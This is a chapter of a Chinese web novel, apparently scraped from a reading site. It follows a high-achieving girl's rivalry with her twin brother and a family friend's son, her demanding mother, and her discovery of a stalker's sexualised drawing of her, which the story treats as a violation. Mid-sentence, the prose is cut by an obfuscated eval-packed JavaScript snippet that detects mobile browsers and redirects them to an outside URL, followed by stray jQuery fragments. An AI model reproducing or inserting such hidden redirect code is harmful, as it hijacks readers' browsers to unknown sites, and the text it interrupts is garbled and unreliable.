默认冷灰
24号文字
方正启体

7. 07

作者:一池青山本书字数:K更新时间:
    出生的时候,冯山月比郑海阳要重半斤。


    爷爷没说错,她从娘胎里就是占上风的那个,并且如此延续了十八年。


    吃奶她吃得多,说话她先学会,上幼儿园之前抢玩具她哥就没赢过,上幼儿园之后她开始展现出头脑上的优势,每天拿到全班最多的小红花,再用小红花从她哥手里换老师发的餐后零食。


    后来郑海阳终于意识到一张贴纸并没有香喷喷的小蛋糕划算,反正放学时老师对家长优先表扬的还是妹妹,于是抱着蛋糕不肯撒手,被冯山月一个头槌后抢了过去。


    至此,冯山月无师自通了武力镇压。


    后来开始学写名字,班上小朋友好奇地问,你们俩怎么不是一个姓,冯山月说我在妈妈肚子里打赢了哥哥,所以我和妈妈姓,他只能和爸爸姓。


    老师把这事说给父母听,郑杰听完笑得尴尬,冯燕芳绷着脸说小孩子乱讲话,眼睛却亮亮的,抬手摸了摸冯山月的脑袋。


    回去的路上,两位家长拌了几句小孩子听不懂的嘴。


    爸爸说,当初让你别这么做,现在外人还以为我们偏心。


    妈妈说,我一视同仁,区别对待的是谁你心里清楚。


    最后这场争吵还是以妈妈的胜利告终。


    妈妈总是胜利的那个,家里所有人都听妈妈的话。冯山月幼儿园时一直以为大人们结婚前会先打一架,打赢的在家里当老大,而她家里打赢的人那个人是妈妈。


    妈妈总是很严厉地管着孩子们吃饭睡觉,读书写字,不许驼背,不许离电视太近,不许把碗里的青菜扔掉。她笑得不多,只有做得足够好才能获得她的笑容,所以她每一次笑都弥足珍贵。


    而爸爸的气焰始终被妈妈压一头,轮到他单独带孩子时总是手忙脚乱,只好以“妈妈要生气了”恫吓,才令两个孩子服帖。


    两位家长都在国企上班,冯燕芳要比郑杰职级高,人脉也广。逢年过节有下属和朋友拎着礼物来拜访,总会用方言亲昵地喊冯山月小名,说月宝儿以后肯定有出息,冯姐,你这孩子和你一个样,从小就聪明。哦还有阳阳,阳阳又长高了,真可爱。


    郑杰在旁边默默地喝茶,也跟着笑,笑容却没那么灿烂。没过几天他说要带孩子回父母家,于是去了爷爷奶奶那边,被人围着嘘寒问暖的就变成了郑海阳,而冯山月在旁边撇嘴。


    亲情、友情、爱情,每一段足够深入的关系里总有占上风的那个。从相识起,角力就开始了,像两只手在掰手腕,越是贴得紧,感受到对方手心的温度,越是因为用了更大的力气。


    这种微妙的平衡在她和郑海阳之间持续了很长一段时间,那时候她最好的玩伴是哥哥,最大的对手也是哥哥。


    直到六岁那年的一个下午,冯山月扇了隔壁班那个叫袁驰的小矮个一巴掌。


    自此,命运指引这两个家庭相遇,未来的轨迹朝另一条路偏移。


    那是学校举办的背诗比赛,站到最后的只剩下冯山月和袁驰。


    两人把学校发的唐诗册子从头背到尾,没分出胜负,老师正准备评个并列第一打圆场,冯山月抬起下巴看一眼袁驰,开始背圆周率。


    彼时袁驰还是个话唠,又被暴发户老爹宠成了小霸王,见到对方开始念听不懂的数字,不管三七二十一,也跟着背,冯山月背一段他背一段,背了好几长段,被老师叫停。


    冯山月说我赢了,他背的都是我背过的,我比他记性好。


    袁驰说放屁,你在乱编,我还能把你编的数字一串一串重复出来,我记性才比你好。


    冯山月瞪他一眼,说没见识,这叫圆周率。


    袁驰他爹穷人乍富,最讨厌别人说他没见识,袁驰耳濡目染,也知道这个词不好,当即搡了冯山月一把,看她长像个洋娃娃,没舍得太用力。


    没想到冯山月一巴掌就呼了回去,极响亮的一声,用了过去六年揍郑海阳的全部功力,打完就跑。


    台下顿时安静了,老师还没发作,袁驰先哭出了声,边哭边追着冯山月要打回去。


    郑海阳本来在看热闹,见状一个箭步冲上去拽他衣服,用动画片主角的语气高喊“不许打我妹妹”。


    结果和袁驰打了个半斤八两,还是冯山月跑回来对着袁驰脑门又来了一下,兄妹俩才重占上风。


    冯山月和哥哥长达六年的内斗画上句号,从袁驰动手推搡冯山月开始,兄妹俩的战线就此统一,革命情谊空前深厚。


    这件事以老师叫家长告终。


    四个大人在老师办公室见面,冯燕芳一进门就训孩子,用词虽然文雅,配合她的冷脸却杀伤力极强。


    这时,对方孩子的爸爸突然叫出她丈夫的全名,嗓音洪亮,充满惊喜。


    当年的初中同学就这样意外地相逢了。


    袁驰爸爸小时候穷,冯山月爸爸没少接济他,三十年河东三十年河西,曾经占上风的那个如今只是国企职员,受恩惠的那个却当上了老板。二人各自心里滋味不同,却终究感到几分故人相见的亲切。


    冯燕芳的朋友比丈夫多,家里遇到事要找人帮忙时,总是她在奔走。


    现在郑杰多了个颇具财力的故友,尽管境遇倒转,也不妨碍他撇开自尊心,抓住机会与人拉近关系。


    而袁向东一直记着郑杰的恩情,也颇有回报之意,毕竟施恩总比受恩让人舒服。


    再者,他只有初中学历,郑杰冯燕芳在他眼里是文化人,近朱者赤,和人家多学学总没错。


    中途还听郑杰说给孩子取名时学了国外的潮流,各随一方姓,袁向东认不全外国地图,也不懂是哪国潮流,只知道文化人自有文化人的讲究,连连点头说好。


    三个小孩子还在恶狠狠地瞪着彼此,就听到话题转移到了自己身上,两家互相对了一番出生日期,袁向东把袁驰一拉,说来儿子,给你山月妹妹道歉。


    郑海阳大怒:“不许抢我妹妹!”


    冯山月不忿:“他那么矮,凭什么不叫我姐姐?”


    袁驰悚然:“我道歉?她打我那么重!”


    三个人长达十二年的恩怨从此拉开序幕。


    袁驰和冯山月一样,总能考双百分,两家大人每逢见面都要问问孩子成绩,郑海阳是最先被略过去的那个,随后就听到大人们热情地夸赞对方的孩子考了满分,又谦虚说自家孩子是运气好,小聪明。


    大人在那儿互吹,孩子们已经杠上了。


    冯山月随着年龄增长,逐渐发现打人的代价太高,自己也要挨训,又被老师斥责女孩子家不该那么粗鲁,也不说心里是否认同,总之先决定改换战术。


    她从冯燕芳那儿学会了嘲讽技,主打一个攻心。今天说袁驰是小矮个,明天又说他讲话粗俗,最后还要激将一句谁告家长谁没骨气。


    袁驰每逢见面就要被冯山月从头到脚贬一通,回去必定奋发图强狂吃三碗饭,再打两个小时篮球给自己增高,从爸爸那里学来的脏话也戒掉了,誓要从各方面比过冯山月。


    至于郑海阳,他已经深谙妹妹惹事家长必定连坐自己的道理,以前是他给冯山月帮腔,后面发现妹妹一个人的战斗力就顶两个他,为了不把袁驰惹哭引来祸患,他成了在中间打圆场的那个。


    于是冯山月和袁驰吵两句,又能在郑海阳的周旋之下玩一会儿,玩到两家大人要散场回家了,走之前才想起来互相放两句狠话,要是哪天忘记了,回去的路上还怪惦记的。


    三人一边吵一边玩,也有过不少忘记前仇旧怨、笑成一团的时候。


    直到六年级的某一天,冯山月叫住袁驰,要和他绝交。


    那天是学校的期末文艺汇演,冯山月担当合唱团的指挥,在台上大出风头,活动结束后她心情很好,甚至大发慈悲地决定在合照时拉袁驰一起。


    却听到有人议论:“袁驰说冯山月脾气坏人缘差,最讨厌的女生就是她。”


    她脸上的笑容消失殆尽。


    郑海阳转头就走,去隔壁班揪住袁驰的衣领,说我妹妹再怎么样,从没在背后说过你坏话,你有话就堂堂正正地当面说,少来阳奉阴违的那一套。


    那是袁驰第一次向冯山月低头道歉。


    彼时他已经戒掉了从父亲身上学来的粗口,连话也变少了,隐约能看出日后那副沉默寡言模样的影子。


    他想了半天,只吐出一句:“对不起,但我当时不是那个意思。”


    问他原话是什么,却又说不出口,只一遍遍重复“我没想和你绝交”。


    冯山月第一次如此轻松地在斗嘴中获胜,便决定宽宏大量一次。


    后来偶尔回想起他当时的样子,突然发现袁驰低头时可以看到他有很长的睫毛。


    第二次道歉在初三。


    上初中后,成绩排名不再像小学那样,随随便便就能凭借双百分考并列第一。


    每个年级的第一名往往只有一个,三个人进了同一所初中同一个班,冯山月和袁驰争第一的位置争了三年。


    冯山月的世界在这个时候发生了更多变化。


    从前她对世界的认知总是朦胧的,人情世故的东西听不懂,也不屑听,随着进入青春期,像是从茧蛹里挣破了一个口子,外界的声音与景象清晰起来。


    比如家里的两个大人,外人面前怎么看都十分恩爱,私下里却仍在微妙地抗衡着。


    妈妈不喜欢去爸爸那边过年,她讨厌那群亲戚用忌惮的目光打量她。有时候亲戚们会对照冯山月和郑海阳的成绩单,无可奈何地叹气,妈妈总在这个时候故意揽住她,露出自豪的笑容,顺便斜一眼爸爸。


    爸爸会更偏心哥哥一些,尽管哥哥考不到妈妈要求的分数,爸爸也会给哥哥买新球鞋,再在妈妈生气时拿出给冯山月准备的新MP3,以此让妈妈消气。


    爸爸不爱她吗?妈妈不爱哥哥吗?


    也没有,只不过冯山月终于意识到,一碗水端平太难,谁都有自己偏爱的那一个,妈妈偏爱她,爸爸偏爱哥哥。


    就像上了初中,男生爱和男生玩,女生爱和女生玩。


    学校里,同学们开始按性别自动地分成两派,原本和她同仇敌忾的郑海阳开始和袁驰称兄道弟,冯山月不甘示弱,转头找班上女生做朋友。


    但是说来惭愧,她的性格的确算不上好,从小骑在哥哥头上作威作福惯了,再加上遗传冯燕芳那副霸道性格,和同学相处的时候难免会起摩擦。


    她当着对方的面不肯低头道歉,被朋友单方面绝交了才回去伤心。


    妈妈听完她倾诉,皱着眉想了想,说你不需要在这里交朋友,你要做的就是好好学习,进一中的尖子班,再考上好大学,去省会,甚至去首都,去那里结交和你相同水平的朋友。


    冯燕芳是从农村出来的,小时候去镇上读初中还要走山路,有时候放学晚,伴随她回家的只有山间升起的月亮。


    她在月光下走了三年,从农村里考出来,自己挣学费上高中,再到樟市上大专,在这里工作、成家。


    回顾过去,冯燕芳最遗憾的是当初没能考上大学,村镇的教育水平就那样,她也不是天才,只是个拼了命读书的普通人。


    可她的女儿不一样,冯山月从小就聪明,有着和她一样的好胜心,这孩子无论如何也不能留在这个小地方,和一个她没那么爱的人凑合过日子,甚至逢年过节还要看夫家的脸色。


    于是,冯山月没从妈妈那里得到安慰,只看到她板着脸,说我给你和你哥报了补习班,多做几张卷子比这些无用的交际要强得多。


    她和郑海阳开始辗转在各科补习班之间,唯一全程同班的只有袁驰,毕竟两家关系好,会共享补课资源。


    兜兜转转,除了郑海阳,和她相识最久朋友还是袁驰。


    可冯山月却不再像以前那样在他面前放肆了。


    造物主的手在青春期降临,短短几年,少男少女的身躯被飞快地拉长,改变形状。


    男生的喉结开始突出,硬硬的骨头撑起肩膀,说话的声音被砂纸摩擦过似的沙哑;女生的身体有了曲线,校服里面穿上内衣,每个月都有几天要拿着卫生巾去洗手间。


    连和自己的亲哥哥,在家里都有避嫌的时候。冯山月早上起来出房间时总被妈妈叮嘱要穿好衣服,不许只穿T恤和内裤乱跑,郑海阳也被爸爸教育,夏天回家不可以一进门就脱掉T恤打赤膊,男女有别。


    再见袁驰时,他因为变声期而沉默了许多,冯山月也在交友时吃过嘴快的亏,明争暗斗里不再有明争,两人无论如何也不会像小时候那样不顾形象地厮打。


    最多是冯山月习惯性讥讽几句,而袁驰要么用眼神否定她的话,要么简短而不屑地“切”一声,自己走开。


    暗斗却还存在,甚至愈演愈烈。


    冯山月已经能看懂大人之间的暗流涌动。


    比如,爸爸和袁叔叔见面时总是搭着肩膀称兄道弟,回到家后,却状似无意地提醒冯山月,要考过老袁家的那个小子,给家里长脸。


    再比如,妈妈不喜欢她和哥哥收袁叔叔的名牌礼物,把东西拿回家的第一件事永远是计算要花多少钱去还人情。


    青春期是自尊心与虚荣心最膨胀的时候,少年人一无所有,吃穿都是父母给的,只有成绩是自己挣的,学校里的同学如果不讨论成绩,只剩下比较家境。


    袁驰家有钱,两家聚餐时,袁向东总是抢着买单,也不管这种行为会给冯山月父母带来心理负担。


    在学校里也能听到人谈论袁驰家境,说他家有两辆车,奔驰奥迪换着开,还说他手上那支电子表要一千多,是国外的最新款,樟市买不到,要找代购。


    冯山月在这方面逊一筹,心里憋着一口气,要在成绩上更胜他。


    初中三年,只计算大考,她比袁驰多拿了一次年级第一。


    原本可以是两次,但初二下学期的期末考时出现了意外。


    那天的最后一门英语开考前,冯山月在洗手间里听到隔壁有男生议论她。


    一个公鸭嗓笑得很难听,说冯山月是袁驰家的童养媳,从小就认识了,见过双方父母,他还在放学的时候见到冯山月单独上袁驰家的车,谁知道他们在后座有没有牵手,说不定还亲嘴了。


    再往后还有更难听的揣测。一些色/情片里才有的脏污词语从那个人口中吐出,冯山月用洗手间涮拖把的桶接满水,拎着出去,走到男厕所门口。


    上初中以后,她就彻底退隐江湖,走起了以理服人的路线,同学只知道她说话不好听,没见她打过人。


    那个男生根本不觉得冯山月会动手,甚至认为她是女生,脸皮薄,对着她扮鬼脸,说你有本事就进来,装什么纯,说不定早就看过男生的那里了。


    冯山月直接闯了进去,一桶水把他浇了个透湿。


    紧接着,郑海阳听到动静也赶过来,一进来没问冯山月为什么打人,先冲上去帮她把喊得最凶的那个放倒。


    最后是袁驰,他带着教导主任一起赶到,到场后冲上去拉架,“不小心”将那个公鸭嗓绊倒在地上,摔坏他一颗门牙。


    参与打架的所有人都缺考了这一门,罚站的罚站,请家长的请家长,道歉的道歉,赔钱的赔钱。


    在主任办公室里,袁驰对着那几个男生一字一句说,我喜欢的只有学习,说完后却忍不住转头看冯山月脸色。


    冯山月绷着脸,飞快地接了一句我也是,仿佛只要犹豫那么一点,就会在“谁更爱学习”这件事上被袁驰比下去。


    袁驰的表情有些复杂,冯山月无暇顾及,她骄傲地挺直脊梁,证明自己才是那个最心无旁骛学习的人。


    冯燕芳欣慰地按着她的肩膀,回去之后告诫她,离男生


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15563107|171402||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    远一点,袁驰虽然是朋友的儿子,也是个男的,一旦靠近他们,流言蜚语就会如刀般袭来,你要洁身自好,你不能给他们话柄。


    冯山月心想,可是我明明什么都没做。


    但她望着妈妈担忧的眼神,终究把话咽了回去。


    那一次出分,冯山月比袁驰低一分,惜败。


    冯山月的英语是优势科目,每次都能比袁驰多考三五分,如果没缺考,她是一定能考过他的。


    幸好竞争没有结束,三个人都考上了一中,郑海阳每天跟着两个学霸混,居然也以吊车尾的成绩混进了尖子班。


    分班情况一出,郑海阳兴高采烈地让冯山月请客,爸妈觉得郑海阳大手大脚,每次都把零花钱全部发给冯山月,让她保管。


    冯山月在预习高一的课本,为了开学摸底考做准备,原本嫌烦不想去,结果郑海阳在旁边捣乱,哼哼唧唧地说接下来三年你哥又要继续给你做牛做马,你就不能提前预支点辛苦费?


    冯山月纡尊降贵同意了,拿出钱包,为了逗他,只给他十块钱,再在他的愤怒哀嚎中再加一百元。


    有时候她觉得她哥哥像条狗,家里不让养宠物,她唯一能寻开心的对象就是她哥。郑海阳虽然笨了点,但是笨得恰到好处,听不懂亲戚们的挑拨,看不懂爸妈之间的角力,总是忠心耿耿的当她跟班,也挺不错。


    高中开学的第一天,妈妈开车送兄妹俩去学校,路上遇到袁驰家的车,两家人停在路边打了个招呼,郑海阳要找袁驰约放学后打球,窜到了他家的车上去。


    冯山月留在车里,等红灯的时候转头看侧前方的奔驰。


    袁驰在后座,开着车窗,被郑海阳吵得转开脸,把下巴抵在车窗沿上,正好朝这边看过来。


    两个人的目光蜻蜓点水地碰了一下。


    袁驰假期里没有剪头,刘海有些长,发梢在风里拂动。他一副刚睡醒的样子,眼睛里难得没有显出挑衅的意味,反而望着她有点出神。


    初中的时候,冯山月身边有女生议论过男生的长相,袁驰总能高票获选第一,冯山月以前没注意,现在才发现他长开了。


    不是错觉,冯山月觉得她的胃在那个瞬间抽动了一下。


    那股陌生而古怪的情绪令她难受,她飞快地转回头,把车窗按了上去。


    “上了高中,最重要的事情就是高考,别的东西不要想,好好学习,听见了吗?”


    冯燕芳不疾不徐地开口叮嘱,冯山月侧头,总觉得她话里有话,却又看不出她表情上的端倪,揣摩一番,认真地点头,把刚才看见的那张脸从脑海中驱逐。


    她或许比自己想象得更讨厌袁驰,才会在看到他后出现那种反应。


    不然还能是什么呢?冯山月没有问妈妈,她知道这绝不是妈妈会与她讨论的话题。


    这些年来,她和冯燕芳能交流的东西越来越少。


    冯燕芳加班的次数不断增加,回来得越发晚,以前家里是她和爸爸轮流做晚饭,现在变成了放假期间郑海阳包揽晚饭,还要留一部分菜等妈妈加班回来给她热了吃。


    除了学习之外,妈妈对她和郑海阳最常说的无非是那几句,吃饭穿衣,注意身体。冯山月课余时间看了书听了歌,想和妈妈分享,却只看到她疲惫地在沙发上侧卧休息。


    有一次,她抓到冯山月在读找朋友借的言情小说,立刻变了脸,勒令她还回去。


    这个家里,对冯山月来说,学习是最高指令,除了学习,没有什么更重要。


    她是全家成绩最好、最有前途的那个人,没有任何事可以影响她,阻碍她考重点大学。


    爸爸也在旁边附和,说你考不过袁驰,我见你袁叔叔都不好意思。


    青春期里错过的朋友、身体的变化、女生与男生之间时而宛如天堑时而如一纸之隔般的神秘关系……爸爸是她绝不会选择的倾诉对象,郑海阳又没心没肺听不懂,只有妈妈,曾经也拥有过十六七岁的少女时光,她或许能听懂冯山月的心事,却从不愿听她谈起。


    也许对冯燕芳而言,那个年纪里的一切杂念和悸动都成为了她考不上大学的原因,因此在女儿身上,她绝不犯相同的错误。


    冯山月扛着家长的殷切期望,孤独地走在她光明的人生大道上,目视前方,略过两旁的风景。


    她觉得自己还算幸运,也还算幸福,一些积压的情绪像换季才冒出的传染病,只要熬一熬就会治愈,接下来又是崭新的另一天。


    直到那一天的到来。


    差点将她的生活、她的精神摧毁的那一天。


    高三寒假的第二天下午,郑海阳的地理练习册落在了梁阿姨的小饭桌里。


    正好冯山月的草稿本用完了,要去学院街买她惯用的那个牌子,就陪着他一起过去。


    两个人一路走到梁阿姨家楼下。


    小饭桌不营业,一楼的门关着,梁阿姨接到郑海阳的电话,让他上二楼取。


    没等多久,郑海阳下来了,三两步跃下台阶,边朝冯山月走边顺手翻开练习册,有点疑惑,似乎是拿错了。


    一张草稿纸在此时飘了出来,落在地上,被郑海阳拾起。


    他只看了一眼上面的内容,猛地变了脸色。


    像是想吐,也像是被打了一拳,冯山月很久没见过他的表情扭曲成那个样子。


    他飞快地移开目光,怒火却充斥他的双眼,他大步走来,却在要把纸递到冯山月手上的时候犹豫了。


    冯山月不明所以,一把将那张纸扯过来。


    想吐的人轮到她了。


    那张草稿纸上是一张画。


    半身像,画着一个微微低头的女生,齐刘海,眼睛长得很有特点,冯山月眼角有痣,那张画里的女生眼角也有痣,位置一模一样。


    那上面画的是冯山月,确凿无疑,甚至可以说画功相当不错。


    问题是,画中的冯山月,上身穿了一件宽大的T恤睡衣,那件衣服被她用一只手掀起,拉高到了锁骨的位置。露出了半边身体,里面什么都没穿。


    而这一部分,充斥着作画者的想象。


    有个更不堪也更准确的词。


    意淫。


    她比郑海阳细心,冷静得更快,电光火石间,她发现了更恶心的事情。


    那件T恤睡衣。


    那件衣服不是凭空想象的,冯山月真的有这样一件睡衣,上面有繁复的印花图案,而这张图上,连睡衣的花纹都被刻画得一模一样。


    问题是,这件睡衣她只在家里穿过,从没有穿出过门。


    冯山月家在一个普通的旧小区里,小区最高楼层是六楼,她家住三楼。


    南北通透,采光很好,窗户很多。


    在她的房间里,除了睡觉的时间,冯山月几乎不拉窗帘。


    这意味着,作画的那个人,曾经去过她家附近,或许是楼顶,或许是楼下。


    然后他远远地看着她,记住她穿过这件衣服,画下了这幅画。


    和之前遇到困难时那种胃轻微抽动、心脏稍稍错拍的感觉不同。


    这一次,像是有一只手狠狠攥住了冯山月的五脏六腑,她想吐,想把胆汁吐出来,或者找什么地方磕一下脑袋,让滚烫的脑浆翻涌而出,又或者找个地方放血,好让它不要在血管里加速流淌,顶得太阳穴突突直跳。


    在那股被挤压的恶心感过去之后,十分罕见的,冯山月的大脑变得一片空白。


    她能解出数学卷子的最后一道大题,她的语文作文甚至拿过一次满分,她的英语没有低于145的时候,她的文综成绩常居单科第一。


    可是过去十八年,没人教过她,一个人,很大概率是男生,跟踪过、偷窥过你。


    然后他把你画在纸上,下笔时脑海里全都是不堪入目的想象。


    你要怎么办?
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)